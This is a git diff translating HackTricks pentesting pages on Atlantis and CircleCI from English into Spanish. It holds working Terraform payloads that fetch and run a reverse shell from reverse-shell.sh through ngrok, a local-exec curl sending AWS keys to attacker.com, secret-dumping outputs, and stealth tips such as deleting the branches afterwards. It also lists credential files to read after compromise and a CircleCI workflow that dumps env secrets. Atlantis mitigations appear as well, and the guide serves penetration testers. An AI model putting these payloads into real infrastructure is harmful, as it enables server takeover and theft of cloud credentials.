-The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
+La configuración del repo puede **especificar scripts** para ejecutar [**antes**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_ganchos de pre flujo de trabajo_) y [**después**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_ganchos de post flujo de trabajo_) de que se ejecute un **flujo de trabajo**.
-There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file.
+No hay ninguna opción para permitir **especificar** estos scripts en el **archivo de repo `/atlantis.yml`**.
**Workflow**
-In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
-Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
+En la configuración del repo (configuración del lado del servidor) puedes [**especificar un nuevo flujo de trabajo predeterminado**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), o [**crear nuevos flujos de trabajo personalizados**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** También puedes **especificar** qué **repos** pueden **acceder** a los **nuevos** generados.\
+Luego, puedes permitir que el archivo **atlantis.yaml** de cada repo **especifique el flujo de trabajo a usar.**
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> Si el flag de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurado en **True**, los flujos de trabajo pueden ser **especificados** en el archivo **`atlantis.yaml`** de cada repo. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar.\
+> Esto básicamente dará **RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repo**.
>
> ```yaml
> # atlantis.yaml
@@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
**Conftest Policy Checking**
-Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
+Atlantis soporta ejecutar **políticas de conftest** [**del lado del servidor**](https://www.conftest.dev/) contra la salida del plan. Los casos de uso comunes para usar este paso incluyen:
-- Denying usage of a list of modules
-- Asserting attributes of a resource at creation time
-- Catching unintentional resource deletions
-- Preventing security risks (ie. exposing secure ports to the public)
+- Negar el uso de una lista de módulos.
+- Afirmar atributos de un recurso en el momento de la creación.
+- Capturar eliminaciones no intencionadas de recursos.
+- Prevenir riesgos de seguridad (es decir, exponer puertos seguros al público).
-You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
+Puedes consultar cómo configurarlo en [**los docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
### Atlantis Commands
-[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
-
+[**En los docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) puedes encontrar las opciones que puedes usar para ejecutar Atlantis:
```bash
# Get help
atlantis help
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
-
-### Attacks
+### Ataques
> [!WARNING]
-> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
-
-You can fix it by running:
+> Si durante la explotación encuentras este **error**: `Error: Error acquiring the state lock`
+Puedes solucionarlo ejecutando:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
+#### Atlantis plan RCE - Modificación de configuración en una nueva PR
-#### Atlantis plan RCE - Config modification in new PR
-
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
-
-You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
+Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes **ejecutar `atlantis plan`** (o tal vez se ejecute automáticamente) **podrás RCE dentro del servidor de Atlantis**.
+Puedes hacer esto haciendo que [**Atlantis cargue una fuente de datos externa**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Simplemente coloca un payload como el siguiente en el archivo `main.tf`:
```json
data "external" "example" {
- program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
+**Ataque más sigiloso**
-**Stealthier Attack**
-
-You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+Puedes realizar este ataque incluso de una **manera más sigilosa**, siguiendo estas sugerencias:
+- En lugar de agregar el rev shell directamente en el archivo de terraform, puedes **cargar un recurso externo** que contenga el rev shell:
```javascript
module "not_rev_shell" {
- source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
+Puedes encontrar el código de rev shell en [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
+- En el recurso externo, utiliza la característica **ref** para ocultar el **código de rev shell de terraform en una rama** dentro del repositorio, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- **En lugar de** crear un **PR a master** para activar Atlantis, **crea 2 ramas** (test1 y test2) y crea un **PR de una a la otra**. Cuando hayas completado el ataque, simplemente **elimina el PR y las ramas**.
#### Atlantis plan Secrets Dump
-You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
-
+Puedes **volcar secretos utilizados por terraform** ejecutando `atlantis plan` (`terraform plan`) poniendo algo como esto en el archivo de terraform:
```json
output "dotoken" {
- value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
}
```
+#### Atlantis apply RCE - Modificación de configuración en nueva PR
-#### Atlantis apply RCE - Config modification in new PR
+Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes **ejecutar `atlantis apply`, podrás RCE dentro del servidor de Atlantis**.
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
+Sin embargo, generalmente necesitarás eludir algunas protecciones:
-However, you will usually need to bypass some protections:
-
-- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
- - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
- - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-
-Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
+- **Mergeable**: Si esta protección está configurada en Atlantis, solo podrás ejecutar **`atlantis apply` si la PR es mergeable** (lo que significa que la protección de rama debe ser eludida).
+- Verifica posibles [**elusiones de protecciones de rama**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+- **Approved**: Si esta protección está configurada en Atlantis, **otro usuario debe aprobar la PR** antes de que puedas ejecutar `atlantis apply`
+- Por defecto, puedes abusar del [**token de Gitbot para eludir esta protección**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+Ejecutando **`terraform apply` en un archivo de Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+Solo necesitas asegurarte de que alguna carga útil como las siguientes termine en el archivo `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
- provisioner "local-exec" {
- command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
- }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
- provisioner "local-exec" {
- command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
- }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
}
```
+Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una manera **más sigilosa**.
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
-
-#### Terraform Param Injection
-
-When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
+#### Inyección de Parámetros de Terraform
+Al ejecutar `atlantis plan` o `atlantis apply`, terraform se está ejecutando por debajo, puedes pasar comandos a terraform desde atlantis comentando algo como:
```bash
atlantis plan --
atlantis plan -- -h #Get terraform plan help
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
+Algo que puedes pasar son variables de entorno que pueden ser útiles para eludir algunas protecciones. Consulta las variables de entorno de terraform en [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
-Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+#### Flujo de trabajo personalizado
-#### Custom Workflow
-
-Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
-This possibility was mentioned in a previous section:
+Ejecutando **comandos de construcción personalizados maliciosos** especificados en un archivo `atlantis.yaml`. Atlantis utiliza el archivo `atlantis.yaml` de la rama de la solicitud de extracción, **no** de `master`.\
+Esta posibilidad se mencionó en una sección anterior:
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
+> Si la bandera de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurada como **True**, los flujos de trabajo pueden ser **especificados** en el **archivo `atlantis.yaml`** de cada repositorio. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar.
>
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> Esto básicamente dará **RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repositorio**.
>
> ```yaml
> # atlantis.yaml
@@ -286,99 +272,97 @@ This possibility was mentioned in a previous section:
> - run: my custom apply command
> ```
-#### Bypass plan/apply protections
-
-If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
+#### Eludir protecciones de plan/aplicar
+Si la bandera de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _tiene_ `apply_requirements` configurado, es posible que un repositorio **modifique las protecciones de plan/aplicar para eludirlas**.
```yaml
repos:
- - id: /.*/
- apply_requirements: []
+- id: /.*/
+apply_requirements: []
```
-
#### PR Hijacking
-If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
+Si alguien envía **`atlantis plan/apply` comentarios en tus pull requests válidos,** hará que terraform se ejecute cuando no lo desees.
-Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
+Además, si no tienes configurado en la **protección de ramas** para pedir **reevaluar** cada PR cuando se **empuja un nuevo commit** a ella, alguien podría **escribir configuraciones maliciosas** (ver escenarios anteriores) en la configuración de terraform, ejecutar `atlantis plan/apply` y obtener RCE.
-This is the **setting** in Github branch protections:
+Esta es la **configuración** en las protecciones de ramas de Github:
.png>)
#### Webhook Secret
-If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
+Si logras **robar el webhook secret** utilizado o si **no hay ningún webhook secret** en uso, podrías **llamar al webhook de Atlantis** e **invocar comandos de atlantis** directamente.
#### Bitbucket
-Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
+Bitbucket Cloud **no soporta webhook secrets**. Esto podría permitir a los atacantes **suplantar solicitudes de Bitbucket**. Asegúrate de permitir solo IPs de Bitbucket.
-- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
-- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
-- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
+- Esto significa que un **atacante** podría hacer **solicitudes falsas a Atlantis** que parecen provenir de Bitbucket.
+- Si estás especificando `--repo-allowlist`, entonces solo podrían falsificar solicitudes relacionadas con esos repos, por lo que el mayor daño que podrían hacer sería planificar/aplicar en tus propios repos.
+- Para prevenir esto, permite [las direcciones IP de Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (ver direcciones IPv4 salientes).
### Post-Exploitation
-If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
+Si lograste acceder al servidor o al menos obtuviste un LFI, hay algunas cosas interesantes que deberías intentar leer:
-- `/home/atlantis/.git-credentials` Contains vcs access credentials
-- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
-- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file
- - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
-- `/proc/1/environ` Env variables
-- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
+- `/home/atlantis/.git-credentials` Contiene credenciales de acceso a vcs
+- `/atlantis-data/atlantis.db` Contiene credenciales de acceso a vcs con más información
+- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Archivo de estado de Terraform
+- Ejemplo: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
+- `/proc/1/environ` Variables de entorno
+- `/proc/[2-20]/cmdline` Línea de comandos de `atlantis server` (puede contener datos sensibles)
### Mitigations
#### Don't Use On Public Repos
-Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
+Porque cualquiera puede comentar en pull requests públicos, incluso con todas las mitigaciones de seguridad disponibles, sigue siendo peligroso ejecutar Atlantis en repos públicos sin la configuración adecuada de los ajustes de seguridad.
#### Don't Use `--allow-fork-prs`
-If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
+Si estás ejecutando en un repos público (lo cual no se recomienda, ver arriba) no deberías establecer `--allow-fork-prs` (por defecto es falso) porque cualquiera puede abrir un pull request desde su fork a tu repositorio.
#### `--repo-allowlist`
-Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
+Atlantis requiere que especifiques una lista permitida de repositorios de los que aceptará webhooks a través de la bandera `--repo-allowlist`. Por ejemplo:
-- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
-- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
-- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
-- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
+- Repositorios específicos: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
+- Tu organización completa: `--repo-allowlist=github.com/runatlantis/*`
+- Cada repositorio en tu instalación de GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*`
+- Todos los repositorios: `--repo-allowlist=*`. Útil cuando estás en una red protegida pero peligroso sin también establecer un webhook secret.
-This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
+Esta bandera asegura que tu instalación de Atlantis no se esté utilizando con repositorios que no controlas. Consulta `atlantis server --help` para más detalles.
#### Protect Terraform Planning
-If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
+Si los atacantes envían pull requests con código malicioso de Terraform en tu modelo de amenaza, entonces debes ser consciente de que las aprobaciones de `terraform apply` no son suficientes. Es posible ejecutar código malicioso en un `terraform plan` utilizando la [fuente de datos `external`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o especificando un proveedor malicioso. Este código podría luego exfiltrar tus credenciales.
-To prevent this, you could:
+Para prevenir esto, podrías:
-1. Bake providers into the Atlantis image or host and deny egress in production.
-2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
-3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
+1. Incluir proveedores en la imagen de Atlantis o alojar y negar egress en producción.
+2. Implementar el protocolo de registro de proveedores internamente y negar egress público, de esa manera controlas quién tiene acceso de escritura al registro.
+3. Modificar el paso `plan` de tu [configuración de repositorio del lado del servidor](https://www.runatlantis.io/docs/server-side-repo-config.html) para validar contra el uso de proveedores o fuentes de datos no permitidos o PRs de usuarios no permitidos. También podrías agregar validación adicional en este punto, por ejemplo, requiriendo un "me gusta" en el PR antes de permitir que el `plan` continúe. Conftest podría ser útil aquí.
#### Webhook Secrets
-Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
+Atlantis debe ejecutarse con los secretos de Webhook establecidos a través de las variables de entorno `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Incluso con la bandera `--repo-allowlist` establecida, sin un webhook secret, los atacantes podrían hacer solicitudes a Atlantis haciéndose pasar por un repositorio que está en la lista permitida. Los secretos de Webhook aseguran que las solicitudes de webhook provengan realmente de tu proveedor de VCS (GitHub o GitLab).
-If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
+Si estás utilizando Azure DevOps, en lugar de secretos de webhook, agrega un nombre de usuario y una contraseña básicos.
#### Azure DevOps Basic Authentication
-Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
+Azure DevOps admite el envío de un encabezado de autenticación básica en todos los eventos de webhook. Esto requiere usar una URL HTTPS para tu ubicación de webhook.
#### SSL/HTTPS
-If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
+Si estás utilizando secretos de webhook pero tu tráfico es a través de HTTP, entonces los secretos de webhook podrían ser robados. Habilita SSL/HTTPS utilizando las banderas `--ssl-cert-file` y `--ssl-key-file`.
#### Enable Authentication on Atlantis Web Server
-It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
+Se recomienda encarecidamente habilitar la autenticación en el servicio web. Habilita BasicAuth utilizando `--web-basic-auth=true` y configura un nombre de usuario y una contraseña utilizando las banderas `--web-username=yourUsername` y `--web-password=yourPassword`.
-You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
+También puedes pasar estos como variables de entorno `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` y `ATLANTIS_WEB_PASSWORD=yourPassword`.
### References
@@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index 8b8a1fea1..c2dd5b0d4 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -2,258 +2,234 @@
{{#include ../banners/hacktricks-training.md}}
-### Basic Information
+### Información Básica
-[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
+[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) es una plataforma de Integración Continua donde puedes **definir plantillas** indicando lo que quieres que haga con algún código y cuándo hacerlo. De esta manera, puedes **automatizar pruebas** o **despliegues** directamente **desde la rama maestra de tu repositorio**, por ejemplo.
-### Permissions
+### Permisos
-**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
-In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
+**CircleCI** **hereda los permisos** de github y bitbucket relacionados con la **cuenta** que inicia sesión.\
+En mis pruebas verifiqué que mientras tengas **permisos de escritura sobre el repositorio en github**, podrás **gestionar la configuración del proyecto en CircleCI** (configurar nuevas claves ssh, obtener claves api del proyecto, crear nuevas ramas con nuevas configuraciones de CircleCI...).
-However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
+Sin embargo, necesitas ser un **administrador del repositorio** para **convertir el repositorio en un proyecto de CircleCI**.
-### Env Variables & Secrets
+### Variables de Entorno y Secretos
-According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
+Según [**la documentación**](https://circleci.com/docs/2.0/env-vars/) hay diferentes maneras de **cargar valores en variables de entorno** dentro de un flujo de trabajo.
-#### Built-in env variables
+#### Variables de entorno integradas
-Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
+Cada contenedor ejecutado por CircleCI siempre tendrá [**variables de entorno específicas definidas en la documentación**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) como `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` o `CIRCLE_USERNAME`.
-#### Clear text
-
-You can declare them in clear text inside a **command**:
+#### Texto claro
+Puedes declararlas en texto claro dentro de un **comando**:
```yaml
- run:
- name: "set and echo"
- command: |
- SECRET="A secret"
- echo $SECRET
+name: "set and echo"
+command: |
+SECRET="A secret"
+echo $SECRET
```
-
-You can declare them in clear text inside the **run environment**:
-
+Puedes declararlos en texto claro dentro del **entorno de ejecución**:
```yaml
- run:
- name: "set and echo"
- command: echo $SECRET
- environment:
- SECRET: A secret
+name: "set and echo"
+command: echo $SECRET
+environment:
+SECRET: A secret
```
-
-You can declare them in clear text inside the **build-job environment**:
-
+Puedes declararlos en texto claro dentro del **entorno de trabajo de construcción**:
```yaml
jobs:
- build-job:
- docker:
- - image: cimg/base:2020.01
- environment:
- SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
```
-
-You can declare them in clear text inside the **environment of a container**:
-
+Puedes declararlos en texto claro dentro del **entorno de un contenedor**:
```yaml
jobs:
- build-job:
- docker:
- - image: cimg/base:2020.01
- environment:
- SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
```
+#### Secretos del Proyecto
-#### Project Secrets
-
-These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
-You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_
+Estos son **secretos** que solo van a ser **accesibles** por el **proyecto** (por **cualquier rama**).\
+Puedes verlos **declarados en** _https://app.circleci.com/settings/project/github/\/\/environment-variables_
.png>)
> [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
+> La funcionalidad de "**Importar Variables**" permite **importar variables de otros proyectos** a este.
-#### Context Secrets
+#### Secretos de Contexto
-These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
+Estos son secretos que son **a nivel de organización**. Por **defecto, cualquier repo** podrá **acceder a cualquier secreto** almacenado aquí:
.png>)
> [!TIP]
-> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
-> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
+> Sin embargo, ten en cuenta que se puede **seleccionar un grupo diferente** (en lugar de Todos los miembros) para **dar acceso a los secretos solo a personas específicas**.\
+> Esta es actualmente una de las mejores maneras de **aumentar la seguridad de los secretos**, para no permitir que todos accedan a ellos, sino solo algunas personas.
-### Attacks
+### Ataques
-#### Search Clear Text Secrets
+#### Buscar Secretos en Texto Claro
-If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
+Si tienes **acceso al VCS** (como github), revisa el archivo `.circleci/config.yml` de **cada repo en cada rama** y **busca** posibles **secretos en texto claro** almacenados allí.
-#### Secret Env Vars & Context enumeration
+#### Enumeración de Variables de Entorno Secretas y Contexto
-Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_.
+Revisando el código puedes encontrar **todos los nombres de los secretos** que están siendo **utilizados** en cada archivo `.circleci/config.yml`. También puedes obtener los **nombres de contexto** de esos archivos o verificarlos en la consola web: _https://app.circleci.com/settings/organization/github/\/contexts_.
-#### Exfiltrate Project secrets
+#### Exfiltrar Secretos del Proyecto
> [!WARNING]
-> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
+> Para **exfiltrar TODOS** los **SECRETOS** del proyecto y del contexto, **solo** necesitas tener acceso **de ESCRITURA** a **solo 1 repo** en toda la organización de github (_y tu cuenta debe tener acceso a los contextos, pero por defecto todos pueden acceder a cada contexto_).
> [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
-
-All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
+> La funcionalidad de "**Importar Variables**" permite **importar variables de otros proyectos** a este. Por lo tanto, un atacante podría **importar todas las variables del proyecto de todos los repos** y luego **exfiltrar todas juntas**.
+Todos los secretos del proyecto siempre se establecen en el entorno de los trabajos, por lo que solo llamar a env y ofuscarlo en base64 exfiltrará los secretos en la **consola de registro web de workflows**:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
workflows:
- exfil-env-workflow:
- jobs:
- - exfil-env
+exfil-env-workflow:
+jobs:
+- exfil-env
```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
